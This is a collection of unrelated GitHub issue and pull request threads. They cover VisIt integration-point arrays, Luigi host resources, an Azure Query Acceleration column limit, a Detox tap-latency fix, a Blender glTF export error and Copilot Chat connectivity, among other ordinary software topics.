avtArrayMetaData variables and subset controls similarly to how species are handled. A potential space performance issue with using an avtArrayMetaData variable is that VisIt will have to request that the plugin always read all array variable components (e.g. integration points) even if the user is only every looking at one among them. We can consider optimizing this space performance issue away later though. In any event, in the subset controls window, we can present a list of all array variable components (e.g. integration points) with those not available gray'd out. The user could mutually exclusive select from among the avaialble (not gray'd out) integration points and that would effect which integration point is manipulated/displayed in the plots. In this way, integration points would behave kinda sorta like species variables, which we already handle via the subset controls window. The key distinction being that like species, integration point subsetting is really subsetting the value space (or range) of the field and not its domain whereas other subsetting functionality is subsetting the domain of a field. Its not too hard to envision cases where users might want do something like see the average of several of the available integration points. If the integration points have some reference (u,v,w) position(s) within a zone, I could envision the user wanting to specify a uvw-box and then averaging or iterating over the available integration points in that box. But, this would be an advanced feature beyond what Engineering is currently requesting. The required enhancements are somewhat involved... Enhance avtArrayMetadata to specify a map of the available components (e.g. in this case integration points) In use, the plugin would define the total number of components (e.g. integration points) (say something like 50 or 100 for number of components) and then also, optionally, specify a vector of ints of those actually available (say 1,3,4,8,17). Enhance avtArrayMetadata to specify a bool that array components should be treated mutually exclusively (e.g. only one should ever be used at a time). It is concievable that a GetVector call down to the plugin (which is used for Array variables as well as Vector varaibles) could then be enhanced for this mutually exclusive case to also specify which single component to read. This would address the space performance issue mentioned in the paragraphs above. But, this is an optimization we can defer to later if it is not easily implementable. Enhance avtGenericDatabase::GetOuput to do something like ArrayMemberSelect (similar to SpeciesSelect or EnumScalarSelect) which does the work of selecting one, mutually exclusive array component, among many available (and to choose closest if selected is not actually available). Enhance avtSILRestriction and avtSILRestrictionTraverser to handle array member selection similarly to species selection In particular, handle the mutual exclusivity of the member selection Enhance GUI for subset controls may need modest enhancement as well, probably to display the list of array members (allowing some to be grey'd out for those that are not available). If there are cases where multiple integration points need to be in the same plot, we could relax the mutual exclusivity constraint, or the user can use VisIt's expression system to define an expression involving multiple of them. In fact, now that I think about this, maybe instead of doing any of the above, the plugin just loads up such variables as Array variables (avtArrayMetaData during PopulateDatabaseMetadata) and the user just uses the [[array_decompose | http://visitsphinxusermanual.readthedocs.io/en/latest/Quantitative/Expressions.html#arrayexpressions]] expression to pick a given component (integration point).
-----------------------REDMINE MIGRATION-----------------------
This ticket was migrated from Redmine. As such, not all
information was able to be captured in the transition. Below is
a complete record of the original redmine ticket.
Ticket number: 2602
Status: Pending
Project: VisIt
Tracker: Feature
Priority: Normal
Subject: Support Engineering User's Integration Point variables via Subset Controls
Assigned to: -
Category: -
Target version: -
Author: Mark Miller
Start: 04/12/2016
Due date:
% Done: 0%
Estimated time:
Created: 04/12/2016 07:51 pm
Updated: 05/04/2018 05:06 pm
Likelihood:
Severity:
Found in version: 2.12.3
Impact: 3 - Medium
Expected Use: 3 - Occasional
OS: All
Support Group: GrizIt
Description:
Engineering users have variables with multiple integration points. The way to think about these is that they are multi-valued variables. For example, if you have a pressure variable over all zones of a mesh, its like having, in each zone a slew of different values for pressure. Each value is computed at a slightly different position within the zone but nonetheless interpreted as the zonal value. Another way to think about these in VisIt parlance may be as array variables. Though, as I understand Chad, only one among the numerous possible values is ever used at any one time and that is different from a VisIt array variable which is kind of a VisIt vector variable on steriods. There are two groups of integration points; all those actually computed by the application and those actually written to the Mili database for visualization. We call these all integration points and available integration points. Typically, Engineering users only ever look at one of the available integration points at a time. Each integration point is like a normal VisIt variable. Its like a mutually exclusive set of variables only one of which can ever be displayed. Do Engineering users ever want to see multiple different integration points in the same plot (e.g. maybe several curve plots derived from different integration points)? The answer would effect whether subset controls (proposed below) is a suitable approach. We could treat each integration point as a sub-menu variable. So, if pressure has 5 integration points labeled 1,3,4,8,17, the plugin's PopMD method would define "pressure/ips/1", "pressure/ips/3", "pressure/ips/4", "pressure/ips/8", "pressure/ips/17". That is certainly the easiest way to think about them. However, with large numbers of integration points, this approach quickly becomes unwieldy. And, in any event, we still loose track of representing for the user the notion of all integration points. It would be better to add support for this via avtArrayMetaData variables and subset controls similarly to how species are handled. A potential space performance issue with using an avtArrayMetaData variable is that VisIt will have to request that the plugin always read all array variable components (e.g. integration points) even if the user is only every looking at one among them. We can consider optimizing this space performance issue away later though. In any event, in the subset controls window, we can present a list of all array variable components (e.g. integration points) with those not available gray'd out. The user could mutually exclusive select from among the avaialble (not gray'd out) integration points and that would effect which integration point is manipulated/displayed in the plots. In this way, integration points would behave kinda sorta like species variables, which we already handle via the subset controls window. The key distinction being that like species, integration point subsetting is really subsetting the value space (or range) of the field and not its domain whereas other subsetting functionality is subsetting the domain of a field. Its not too hard to envision cases where users might want do something like see the average of several of the available integration points. If the integration points have some reference (u,v,w) position(s) within a zone, I could envision the user wanting to specify a uvw-box and then averaging or iterating over the available integration points in that box. But, this would be an advanced feature beyond what Engineering is currently requesting. The required enhancements are somewhat involved... Enhance avtArrayMetadata to specify a map of the available components (e.g. in this case integration points) In use, the plugin would define the total number of components (e.g. integration points) (say something like 50 or 100 for number of components) and then also, optionally, specify a vector of ints of those actually available (say 1,3,4,8,17). Enhance avtArrayMetadata to specify a bool that array components should be treated mutually exclusively (e.g. only one should ever be used at a time). It is concievable that a GetVector call down to the plugin (which is used for Array variables as well as Vector varaibles) could then be enhanced for this mutually exclusive case to also specify which single component to read. This would address the space performance issue mentioned in the paragraphs above. But, this is an optimization we can defer to later if it is not easily implementable. Enhance avtGenericDatabase::GetOuput to do something like ArrayMemberSelect (similar to SpeciesSelect or EnumScalarSelect) which does the work of selecting one, mutually exclusive array component, among many available (and to choose closest if selected is not actually available). Enhance avtSILRestriction and avtSILRestrictionTraverser to handle array member selection similarly to species selection In particular, handle the mutual exclusivity of the member selection Enhance GUI for subset controls may need modest enhancement as well, probably to display the list of array members (allowing some to be grey'd out for those that are not available). If there are cases where multiple integration points need to be in the same plot, we could relax the mutual exclusivity constraint, or the user can use VisIt's expression system to define an expression involving multiple of them. In fact, now that I think about this, maybe instead of doing any of the above, the plugin just loads up such variables as Array variables (avtArrayMetaData during PopulateDatabaseMetadata) and the user just uses the [[array_decompose | http://visitsphinxusermanual.readthedocs.io/en/latest/Quantitative/Expressions.html#arrayexpressions]] expression to pick a given component (integration point).
Comments:
GrizIt can then affect integration point control by the array_decompose() expression. Each time the integration point needs to be changed, GrizIt would redefine the expression and forceredraw of any plots involving it (or all plots).

Just capturing here code-snipit I used to verify an enhancement I made to the array_decompose expression function to support plotting the closest integration point to a given point id.
The code below was a hack to the (old) Mili plugin to test an example of handling Mili integration points as VisIt array variables. In this hacked example, I was spoofing four integration points actually stored in the database with ids, 2, 16, 29 and 77. The plugin created an Array variable with component names ip2, ip16, ip26 and ip77.
I then created an expression, array_decompose("ArrayVar", 7) (note that 7 is not one of the stored integration point ids. But, the logic I added to the array_decmpose expression function will map this number to the closest integration point in absolute index value which in this example mapped to component named "ip2".
+vtkDataArray*
+avtMiliFileFormat::GetArrayVar(int ts, int dom)
+{
+    int mesh_id = 0;
+    int myints[] = {2,16,29,77};
+    std::vector<int> avail(myints, myints + sizeof(myints)/sizeof(int));
+    vtkFloatArray *rv = vtkFloatArray::New();
+    rv->SetNumberOfComponents(avail.size());
+    rv->SetNumberOfTuples(ncells[dom][mesh_id]);
+    for (size_t i = 0, j = 0; i < 100; i++)
+    {
+        if (std::find(avail.begin(), avail.end(), i) == avail.end())
+            continue;
+        for (size_t k = 0; k < ncells[dom][mesh_id]; k++)
+            rv->SetComponent(k, j, (float) avail[j]);
+        j++;
+    }
+    return rv;
+}

 vtkDataArray *
 avtMiliFileFormat::GetVectorVar(int ts, int dom, const char *name)
 {
+    if (string(name) == "ArrayVar")
+        return GetArrayVar(ts, dom);
+
     if (!readMesh[dom])
         ReadMesh(dom);
     if (!validateVars[dom])
@@ -2358,6 +2380,19 @@
         AddMaterialToMetaData(md, matname, meshname, nmaterials[i], mnames);
         AddMaterialToMetaData(md, nofnmatname, nofnmeshname, nmaterials[i], mnames);

+        {
+            int myints[] = {2,16,29,77};
+            std::vector<int> avail(myints, myints + sizeof(myints)/sizeof(int));
+            std::vector<string> ipnames;
+            for (size_t i = 0; i < avail.size(); i++)
+            {
+                char tmp[32];
+                SNPRINTF(tmp, sizeof(tmp), "ip%d", avail[i]);
+                ipnames.push_back(tmp);
+            }
+            AddArrayVarToMetaData(md, "ArrayVar", ipnames, meshname, AVT_ZONECENT);
+        }
+

@aowen87 just wanted to mention you here as per our conversation earlier today.


Adds host resources in addition to global resources

Description
Host resources are resources used on a specific host. Tasks with host_resource
set will be limited by how many can run on the same machine, but there is no
limit to how many can run globally. For example, if you have a process that
requires 2gb of memory, you might set its host_resources to {'memory': 2} and
then set the host resource for memory on each machine according to how much it
has available. If you have a machine with 8gb of memory, you can run 4 such
tasks on it. If you have another machine with 16gb of memory, you can run
another 8 tasks on it.
Motivation and Context
I've noticed recently that several people in the mailing list have been asking how to limit resource usage on a machine level. Existing resources are somewhat capable of this by adding a resource_name__machine_name resource, but this only works if tasks are tied to a particular machine. If you have a task that can be run on multiple machines but shouldn't have too many per machine, this solution won't do. I recently created a kind of task that can only be run one at a time per machine, but can be run in parallel across arbitrary machines, so I needed a way to enable this pattern.
Have you tested this? If so, how?
I have included unit tests. I have not yet run jobs with it, as I don't have the machines set up to run anything nontrivial that actually requires it yet.

[Current coverage][cc-pull] is 55.80%

Merging [#1669][cc-pull] into [master][cc-base-branch] will increase coverage by -22.81%

@@           master      #1669   diff @@
========================================
  Files          94         57     -37
  Lines       10236       8316   -1920
  Methods         0          0
  Branches        0          0
========================================
- Hits         8047       4640   -3407
- Misses       2189       3676   +1487
  Partials        0          0

5 files in luigi were modified. more

Misses +303
Hits -303

2 files (not in diff) in luigi/tools were deleted. more
12 files (not in diff) in luigi/contrib were deleted. more
8 files (not in diff) in luigi were deleted. more
14 files (not in diff) in examples were deleted. more
14 files (not in diff) in luigi/contrib were modified. more

Misses +952
Hits -952

21 files (not in diff) in luigi were modified. more

Misses +1180
Hits -1180

File bin/luigi (not in diff) was deleted. more

Powered by Codecov. Last updated by f99e03f
[cc-base-branch]: https://codecov.io/gh/spotify/luigi/branch/master?src=pr
[cc-pull]: https://codecov.io/gh/spotify/luigi/pull/1669?src=pr

This is so useful, any plan to merge it soon?
I have tested it on a simple workflow for the current version and it worked perfectly fine.

Oh my, It's been over a year now.

I have included unit tests. I have not yet run jobs with it, as I don't have the machines set up to run anything nontrivial that actually requires it yet.

You have run this in production for a year now, right? Has it been useful? This might be worth merging then. :)

I have not used this in production. We ended up just using a different scheduler per machine and I don't have a different use case for this code yet.

These guys seem to be using a version of this feature: https://github.com/groupon/luigi-warehouse/blob/d4c9fb47ec3a05dbf91d1cf2b2bd265cd78a3ad0/luigi_warehouse/teradata_to_redshift.py#L60
Might be worth asking them what they think about it (I have opened an issue on their repo).
Btw, if we can manage resources on a host level, we can safely start parallel clients on each host: useful if we want to add tasks to a running workflow and if we do not want to restart the client (and kill long running jobs).
In our case we would use it to share GPUs.

I got an answer from luigi-warehouse
, they do use the feature but not that intensively, and there does not seem to be any problem to report.
This feature is a really great asset for scaling, at the risk of repeating myself. I am considering rebasing it on my branch and testing it with some bigger workflows, I might tell you how it went afterwards.

@BinrOp we would be happy to merge your changes if everything looks good.


Make NetPortableProfileTable thread-safe

Fixes https://github.com/NuGet/Home/issues/2464
To do:

[ ] restore internal setter for NetPortableProfileTable.Profiles used by unit tests

Hi @hickford, I'm your friendly neighborhood .NET Foundation Pull Request Bot (You can call me DNFBOT). Thanks for your contribution!

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. Real humans will now evaluate your PR.

TTYL, DNFBOT;

Thank you. We will take a close look.
Note that we have now deprecated nuget.core and no longer support it. We have created a new set of packages to support NuGet3 and for your case nuget.frameworks is the right library.
It is still probably worth taking, because of the large amount of people using this package.

Hey @hickford, I've pulled this in with https://github.com/NuGet/NuGet2/pull/50 (in addition to the testability point mentioned)

[x] restore internal setter for NetPortableProfileTable.Profiles used by unit tests


Add Use Case 1

Codecov Report

Merging #18 (a0b8802) into master (6308875) will not change coverage.
The diff coverage is n/a.

:exclamation: Current head a0b8802 differs from pull request most recent head 0242e41. Consider uploading reports for the commit 0242e41 to get more accurate results

@@            Coverage Diff            @@
##             master      #18   +/-   ##
=========================================
  Coverage     72.15%   72.15%
  Complexity      399      399
=========================================
  Files            70       70
  Lines          1232     1232
  Branches        125      125
=========================================
  Hits            889      889
  Misses          311      311
  Partials         32       32

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6308875...0242e41. Read the comment docs.


difference between unimol plus and unimol conformation model

Hi,
in the plus model you guys released, there seems to be conformation model for fixing conformation. What is the difference between the original conformation model? Any improvements are updated?
Which one would you suggest for conformation generation
thanks

@orgw there are two differences: 1. model backbone; 2. training strategies. You can refer to the unimol+ paper for more details.

Thanks


(rust) panics on (almost) every request

Throws:
thread 'actix-rt|system:0|arbiter:5' panicked at 'called `Option::unwrap()` on a `None` value', /home/runner/.cargo/registry/src/github.com-1ecc6299db9ec823/actix-analytics-1.0.8/src/analytics.rs:135:14

on almost every request.
Might be a ratelimit?

Thanks for bringing this to my attention! I believe the issue is now solved in version 1.0.9.


Resize one bramble and scale final level

Motivation
closes #339
Playtesters really wanted to build above one bramble, but it wasn't possible. So make it possible!
What was changed/added
Made the thorns in the upper right a bit smaller to allow players to build over them.
Also resized/moved final level to fit camera size better and allow for more space to build above thorns.
Testing

Yeah oops that was a mistake.


What would be the right way of having multi user accounts?

I have accounts that can be accessed by multiple users. Each account is linked to 1 Cognito group.
So far I have been using { allow: groups, groupsField: "projectAccountId" } rule in the GraphQL schema, but Cognito has the limitation of 10,000 groups per pool so that is not scalable.
I want to move the account/users relation logic to the DB instad of having to depend on Cognito groups. What is the right way of doing this? Already tried { allow: custom } schema rule, but it seems that I have to manually parse the GraphQL queries in the authorizer and do all the corresponding checks in there.

Hey, We can utilize identityClaim containing custom id as the attribute. For example please refer to https://github.com/aws-amplify/amplify-category-api/issues/28#issuecomment-1132978133
Please do us know if this helps with your use case.

Hey following up on this to see if you require any assistance

Closing due to inactivity


[BUG] Blob Storage Query Acceleration SQL API Hard Limit on 49 Explicit Columns

Describe the bug
Using the .NET API to run Query Acceleration there appears to be a hard limit on the explicit selection of 49 columns or less. This is (as far as I can tell) not documented anywhere.
For us, we could have >= 50 columns and would like to select a subset. It doesn't appear to be related to the query length as using the _1, _2, etc syntax results in the same problem.
Oddly the API works when using the * syntax, with the resulting workaround being that we need to return all the columns. This seems overly limited and I am curious as to if there is some underlying reason behind this?
The query and error is as follows, returned from .NET API, but clearly an error from the underlying Web API.
Expected behavior
Underlying Web API would be changed to allow explicit selection of > 49 columns. If this is impossible, this hard limit should be documented at the Query Acceleration SQL language reference.
Actual behavior (include Exception or Stack Trace)
This query is successful.
SELECT _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49 FROM BlobStorage LIMIT 10
This query is not successful
SELECT _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50 FROM BlobStorage LIMIT 10
Following status is reported from .NET API for the second query:
Exception: Azure.RequestFailedException: Service request failed.
Status: 400 (Syntax error!)
ErrorCode: ErrorProcessingQueryExpression

Headers:
x-ms-error-code: ErrorProcessingQueryExpression
x-ms-request-id: aa82517b-301e-008f-18b0-46dea1000000
x-ms-version: 2020-04-08
x-ms-client-request-id: e496a041-8045-4093-a2bf-e129e1e9e3e2
Content-Length: 213
Content-Type: application/xml
Date: Tue, 11 May 2021 22:00:03 GMT
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0

To Reproduce
Steps to reproduce the behavior (include a code snippet, screenshot, or any additional information that might help us reproduce the issue)

Run the first and second queries above in the .NET API
First query will result in success, second in failure

Environment:

Name and version of the Library package used: Azure.Storage.Blobs 12.8.3
Hosting platform or OS and .NET runtime version: Windows Server 2016 .NET Framework 4.6.2
IDE and version : Visual Studio 16.9.4

Hi @deenairn, thanks for reporting this.  I'll sync with some colleagues and get back to you shortly.
-Sean

Hi @deenairn,
I reached of to the Query Acceleration team, and Query Acceleration is limited to a max query depth expression of 50 in the storage service.  If you would like to receive more columns, the recommended workaround is "Select *".
@tamram, would it be possible to update https://docs.microsoft.com/en-us/azure/storage/blobs/query-acceleration-sql-reference to reflect this limitation?
-Sean

Hi Sean,
Thanks for the confirmation, it at least confirms the behaviour I've observed. In addition to adding the constraint to the documentation, it may be worthwhile exposing the error message to the user via the .NET client API too.
Could you provide any clarity on the rationale for the 50 columns, and whether this might be altered in the future?
For me it seems a slightly arbitrary constraint. I understand it will take more resources on the server side to parse a very large CSV file, but the approach adopted doesn't fully achieve this. For example, I could have a file with 1,500 columns, but only read the last 49 columns or even just the last column. In this situation, the server has to parse the entire line. It would achieve this outcome if you could only parse the first 49 columns (please don't do this - it will make the situation even worse for us...).
We have are developing an application where the 1,500 columns in a dataset is a genuinely possible requirement, as well as the requirement to select up to around 100 columns (TBC) of these. This means that despite very good performance for <= 49 columns, for any above this we will have a noticeable degradation in performance. This may be difficult to explain to clients why selecting one additional column would result in this.
Thanks,
Donald

Hi @deenairn,
I reached of to the Query Acceleration team, and Query Acceleration is limited to a max query depth expression of 50 in the storage service. If you would like to receive more columns, the recommended workaround is "Select *".
@tamram, would it be possible to update https://docs.microsoft.com/en-us/azure/storage/blobs/query-acceleration-sql-reference to reflect this limitation?
-Sean

Is it definitely the case that it's limited to 50 columns? My testing suggested it was from _1, ..., _49 - which suggests it's 49.

@seanmcc-msft - I've updated the ref article as well as the related "how to" article with note that clarifies this limitation. @deenairn - thank you for raising the issue!

@normesta, @seanmcc-msft, @tamram - thanks for updating - I can see the documentation has been updated. However, it has been updated incorrectly, the limitation is 49 columns, not 50 (note: the _ syntax starts from column _1, not _0).
Could this be corrected?
Could it also be clarified if this limitation will be increased the future?
Thanks,
D

Thanks for keeping us honest @deenarin. @seanmcc-msft can you please confirm that the limit is 49 rather than 50?

@normesta, I can confirm the limit is 49.

1500 in which timezone? Just checked this morning (0930 BST) - but the page is still 50 columns.

@deenairn - There is a content freeze in place until next week for the //build conference. Expect to see this live by next Weds.

Thank you @tamram . I was just about to reply with that info. Yes. I misspoke in my reply. We are indeed in a freeze at the moment, but the change is queued for publish.  Thx!

@seanmcc-msft can we please add a test case to test this boundary (both failure [50] and success[49])

Can confirm the online documentation has not been updated.

@deenairn can you please send a link. I see the following

Fixed the typo :)


[ios] performance issue: unnecessary slower wait time for all taps

Describe the bug
Detox uses touch indicator to visualize taps when the test runs.
The visualization creates an animation therefore can slow down the test and therefore there is an option to disable the indicator (disableTouchIndicator).
When the indicator disabled, the "ripple effect" animation is indeed not showing. However,  COSTouchVisualizer.removeInactiveFingerTips code is still running (https://github.com/conopsys/COSTouchVisualizer/blob/b00850925cd312430c0f716cde53cd6053f214d4/Classes/COSTouchVisualizerWindow.m#L194) this causes an unnecessary  wait time of ~100ms on EVERY tap (measured using debugSynchronization). This can easily be avoided to speed up tests (see PR)
To Reproduce

[x ] I have tested this issue on the latest Detox release and it still reproduces

Set disableTouchIndicator to true and enable debugSynchronization.
Run a simple ios test that uses tap.
Measure the time it takes for the .tap() promise to resolve.

Expected behavior
Logs should show no trace of touch indicator.
Actual behaviour
Interaction is waiting for removeInactiveFingerTips. This slows down the .tap promise resolve time.
Environment (please complete the following information):

Detox: 14.3.2
React Native: 0.59.10
Node: 10.15.0
Device: Simulator
Xcode: 10.1
iOS:
macOS: 19.14.6

Device and Verbose Detox Logs
BEFORE the fix:
detox[86565] INFO:  [actions.js] Sync App State: undefined
detox[86565] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[86565] INFO:  [actions.js] Sync App State: undefined
detox[86565] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[86565] INFO:  [actions.js] Sync Timed: performSelector @selector(removeInactiveFingerTips) on DTXTouchVisualizerWindow
detox[86565] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[86565] INFO:  [actions.js] Sync Timed: performSelector @selector(removeInactiveFingerTips) on DTXTouchVisualizerWindow
detox[86565] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[86565] INFO:  [actions.js] Sync Timed: performSelector @selector(removeInactiveFingerTips) on DTXTouchVisualizerWindow
detox[86565] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[86565] INFO:  [actions.js] Sync Timed: performSelector @selector(removeInactiveFingerTips) on DTXTouchVisualizerWindow
detox[86565] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread

Time measured from JS side for tap promise to resolve: 230ms
AFTER the fix
detox[83519] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[83519] INFO:  [actions.js] Sync App State: undefined
detox[83519] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[83519] INFO:  [actions.js] Sync App State: undefined
detox[83519] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[83519] INFO:  [actions.js] Sync App State: undefined
detox[83519] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[83519] INFO:  [actions.js] Sync App State: undefined
detox[83519] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread
detox[83519] INFO:  [actions.js] Sync Dispatch Queue: com.apple.main-thread

Time measured from JS side for tap promise to resolve: 123ms

🤯

Thanks!


Corrected missing return value in the FileInfo flags method

Hey guys,
Reproduction of this problem I just discovered:
icr(0.25.0) > File.info("Zebra2_28_7422_Mac.zip").flags
Error in .icr_CTWDYWE1dyvsCD6uVxiy-Q.cr:17: instantiating '__icr_exec__()'

puts "|||YIH22hSkVQN|||#{__icr_exec__.inspect}"
                         ^~~~~~~~~~~~

in .icr_CTWDYWE1dyvsCD6uVxiy-Q.cr:12: instantiating 'Crystal::System::FileInfo#flags()'

  File.info("Zebra2_28_7422_Mac.zip").flags
                                      ^~~~~

in /usr/local/Cellar/crystal-lang/0.25.0/src/crystal/system/unix/file_info.cr:34: type must be File::Flags, not (File::Flags | Nil)

  def flags : ::File::Flags
      ^~~~~

Rerun with --error-trace to show a complete error trace.

This method was simply missing a return value.
Cheers
Fotis

The bad side of type inference on method instantiation.

Thanks for the merge folks 😄

It looks like this could also use a spec...


Export error in Blender 4.2.1 LTS

Describe the bug
I get the followinf error trying to export selected objects from a Blender scene (4.2.1 LTS):
Python: Traceback (most recent call last):
  File "C:\Program Files\Blender Foundation\Blender 4.2\4.2\scripts\addons_core\io_scene_gltf2\__init__.py", line 1288, in execute
    res = gltf2_blender_export.save(context, export_settings)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Program Files\Blender Foundation\Blender 4.2\4.2\scripts\addons_core\io_scene_gltf2\blender\exp\gltf2_blender_export.py", line 37, in save
    json, buffer = __export(export_settings)
                   ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Program Files\Blender Foundation\Blender 4.2\4.2\scripts\addons_core\io_scene_gltf2\blender\exp\gltf2_blender_export.py", line 55, in __export
    __gather_gltf(exporter, export_settings)
  File "C:\Program Files\Blender Foundation\Blender 4.2\4.2\scripts\addons_core\io_scene_gltf2\blender\exp\gltf2_blender_export.py", line 202, in __gather_gltf
    active_scene_idx, scenes, animations = gltf2_blender_gather.gather_gltf2(export_settings)
                                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Program Files\Blender Foundation\Blender 4.2\4.2\scripts\addons_core\io_scene_gltf2\blender\exp\gltf2_blender_gather.py", line 31, in gather_gltf2
    scenes.append(__gather_scene(blender_scene, export_settings))
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Program Files\Blender Foundation\Blender 4.2\4.2\scripts\addons_core\io_scene_gltf2\blender\exp\gltf2_blender_gather_cache.py", line 37, in wrapper_cached
    result = func(*args, **kwargs)
             ^^^^^^^^^^^^^^^^^^^^^
  File "C:\Program Files\Blender Foundation\Blender 4.2\4.2\scripts\addons_core\io_scene_gltf2\blender\exp\gltf2_blender_gather.py", line 94, in __gather_scene
    node = gltf2_blender_gather_nodes.gather_node(
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Program Files\Blender Foundation\Blender 4.2\4.2\scripts\addons_core\io_scene_gltf2\blender\exp\gltf2_blender_gather_nodes.py", line 42, in gather_node
    mesh = __gather_mesh(vnode, blender_object, export_settings)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Program Files\Blender Foundation\Blender 4.2\4.2\scripts\addons_core\io_scene_gltf2\blender\exp\gltf2_blender_gather_nodes.py", line 301, in __gather_mesh
    blender_mesh[prop] = blender_object.data[prop]
    ~~~~~~~~~~~~^^^^^^
TypeError: Cannot assign a 'IDPropertyGroup' value to the existing 'hops' Group IDProperty

To Reproduce
Steps to reproduce the behavior:

Select objects via collection in Blender.
Open export gltf dialogue
Setting glb options (see screenshot below)
Immediately after clicking on export the error message is shown.

Expected behavior
Export should be saved to the selected folder.
.blend file/ .gltf (mandatory)
I can't provide the file here because it's 400MB large and limit here is 25 ;)
Shall I upload it somewhere and link it?
Version

OS: Windows 10 + 11
Blender Version 4.2.1 LTS

Additional context
The error appears exactly identical on two different machines.

Hello,
Thanks for the reporting.
This should be solved on 4.3 alpha, by a658dbc287f6e3a049ec31d05d09cf56fccdaace
This commit is in proposed list of backport to 4.2.x

Hello, Thanks for the reporting. This should be solved on 4.3 alpha, by a658dbc This commit is in proposed list of backport to 4.2.x

Sound awesome!
So either I wait until the next update for 4.2.x or I use 4.3,?

So either I wait until the next update for 4.2.x or I use 4.3,?

Yes!


exclusive/inclusive lighting

This should be light feature where we could use lists of included or excluded objects for a particular light.
With corona for blender addon this is controlled through nodes where you can create object list node and plug it into exclude or include input on light emmision node.
It is a very useful feature for tweaking scene look in-camera, so that for example if you have objects that you want to make pop out or objects that due to natural lighting in a particular scene appear flat, you can create "fake" invisible light source affecting only that object.

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

Any news on this? Light-Linking is a very necessary feature for Lighting artists!

This kind of features are usually based on the assumption that light is sampled in a single way. This is not true in LuxCore where MIS (multiple importance sampling is used) is widely used.
Aside from the general consideration, I could implemented light-linking for direct light sampling however it is unclear to me what is supposed to be the behavior with indirect light.
For instance, an object can receive the light, of an excluded light source, bouncing over another surface: should it be enabled or not ?
The problem can easily become unmanageable after few bounces so I assume you are talking of direct light only (?).

wait a second. If we exclude light tracing and BiDir. Is this doable? Cause there are a lot of features not working for all integrators, so a "pathOCL" coul have this light linking feature while BiDir won't...?
This is not a super essential feature but even in outdated corona plugin for blender you can create list of objects that are/aren't affected by light in node editor... So, maybe a pathOCL exclusive feature. Or once luxcore is running on RTX?

Yes, never thought to implement this in BiDir, it would be a PATHOCL/CPU only feature but it still use MIS so the light received by a light source is still the result of two things:

direct light sampling (here is easy to include, exclude lights ... caches aside);

a path randomly bouncing around and, may be, hitting one of the light sources. What I'm supposed to do with that contribution ? Use it, ignore it ? Track what surfaces has been hit and their respective include/exclude lists ... this can easily become a nightmare after a couple of bounces.


My copilot chat does not response

Copilot Chat Extension Version: v0.17.0
VS Code Version: 1.91.0
OS Version: Windows 10
Logs:  Unable to resolve chat model with family selection: gpt-4

Steps to Reproduce:

Open GitHub Copilot Chat dialog on VS Code
Ask any thing then receive response with error Unable to resolve chat model with family selection: gpt-4

mee too.
no response

/duplicate https://github.com/microsoft/vscode-copilot-release/issues/1361

Please run F1 > Developer: GitHub Copilot Chat Diagnostics and share the output here.

Hi Chrmarti,
An error popup when running the command.

@nbkhoi Please retry with the latest version (0.17.1) which has a fix for this.

The latest version doesn't fix this either. Been running it since yesterday and my chats are still stopping mid-generation and sitting for hours with no response. If I resubmit the same question, it stops at the same generating point. Issue also posted here: https://github.com/orgs/community/discussions/129030

@cameracode Please check with your IT that they allow you to connect to all hosts in *.githubcopilot.com and a few other hosts listed here: https://docs.github.com/en/copilot/troubleshooting-github-copilot/troubleshooting-firewall-settings-for-github-copilot
@michaelyorkpa Yours looks like a different problem, could you open a new issue?

Thank you for the response, @chrmarti!!
I've had this one open since June 18: https://github.com/orgs/community/discussions/129030
I've also whitelisted the above domains, just in case. Thank you for that!

@cameracode Please check with your IT that they allow you to connect to all hosts in *.githubcopilot.com and a few other hosts listed here: https://docs.github.com/en/copilot/troubleshooting-github-copilot/troubleshooting-firewall-settings-for-github-copilot
@michaelyorkpa Yours looks like a different problem, could you open a new issue?

This is my own personal system on a personal network

@cameracode Could you also run F1 > GitHub Copilot: Collect Diagnostics? That will give us some more insights into connectivity issues.

@michaelyorkpa Sorry for the trouble, I have copied the discussion topic over to an issue for us to investigate. Please follow that in case we need additional information: https://github.com/microsoft/vscode-copilot-release/issues/1423. Thanks.

@cameracode Could you also run F1 > GitHub Copilot: Collect Diagnostics? That will give us some more insights into connectivity issues.

Thanks for the response I did and it stayed stuck on what I posted above

@cameracode There are two similarly named commands. Please run the GitHub Copilot: Collect Diagnostics one too.

@cameracode There are two similarly named commands. Please run the GitHub Copilot: Collect Diagnostics one too.

## Copilot

- Version: 1.216.0
- Build: prod
- Editor: vscode/1.91.1

